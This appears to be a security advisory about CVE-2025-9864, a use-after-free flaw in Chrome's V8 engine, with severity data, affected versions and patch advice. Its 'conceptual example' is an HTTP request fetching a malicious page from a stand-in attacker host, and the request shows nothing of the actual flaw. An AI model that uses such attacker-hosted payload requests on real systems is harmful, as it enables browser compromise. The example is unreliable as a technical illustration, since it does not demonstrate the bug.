Overview
CVE-2025-9864 is a high severity cybersecurity vulnerability residing in Google’s V8 engine, a key component of the Google Chrome browser. This vulnerability can be exploited by a remote attacker through a carefully crafted HTML page, leading to potential system compromise or data leakage. Given the widespread usage of Google Chrome, this issue is of significant concern to both individual users and enterprises alike. Ensuring the robustness of widely used web browsers like Chrome is crucial, as vulnerabilities can serve as entry points for attackers, potentially leading to catastrophic damages.
Vulnerability Summary
CVE ID: CVE-2025-9864
Severity: High (CVSS score of 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
Google Chrome | Prior to 140.0.7339.80
How the Exploit Works
The vulnerability CVE-2025-9864 stems from a ‘use after free’ flaw in the Google Chrome V8 engine. A ‘use after free’ vulnerability is a type of memory corruption flaw that happens when a program continues to use a pointer after it has been freed. In this case, an attacker crafts a malicious HTML page, which when loaded and processed by a victim’s browser, results in a heap corruption. An attacker can manipulate this heap corruption to execute arbitrary code, allowing for potential system compromise or data leakage.
Conceptual Example Code
Here’s a conceptual example of how such an exploit might look like, using a crafted HTTP request to a vulnerable endpoint:
GET /malicious.html HTTP/1.1
Host: attacker.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.7339.70 Safari/537.36This HTTP request retrieves a malicious HTML page hosted on the attacker’s server. This page contains the payload necessary to exploit the ‘use after free’ vulnerability in Chrome’s V8 engine. Once loaded by the victim’s browser, the payload triggers heap corruption, potentially allowing the attacker to execute arbitrary code or leak sensitive data.
Mitigation Guidance
To mitigate this vulnerability, users are urged to apply the vendor-supplied patch by updating their Google Chrome browser to the latest version, which includes a fix for this vulnerability. As a temporary mitigation, Web Application Firewalls (WAFs) and Intrusion Detection Systems (IDS) can be used to detect and block potential exploitation attempts of this vulnerability.
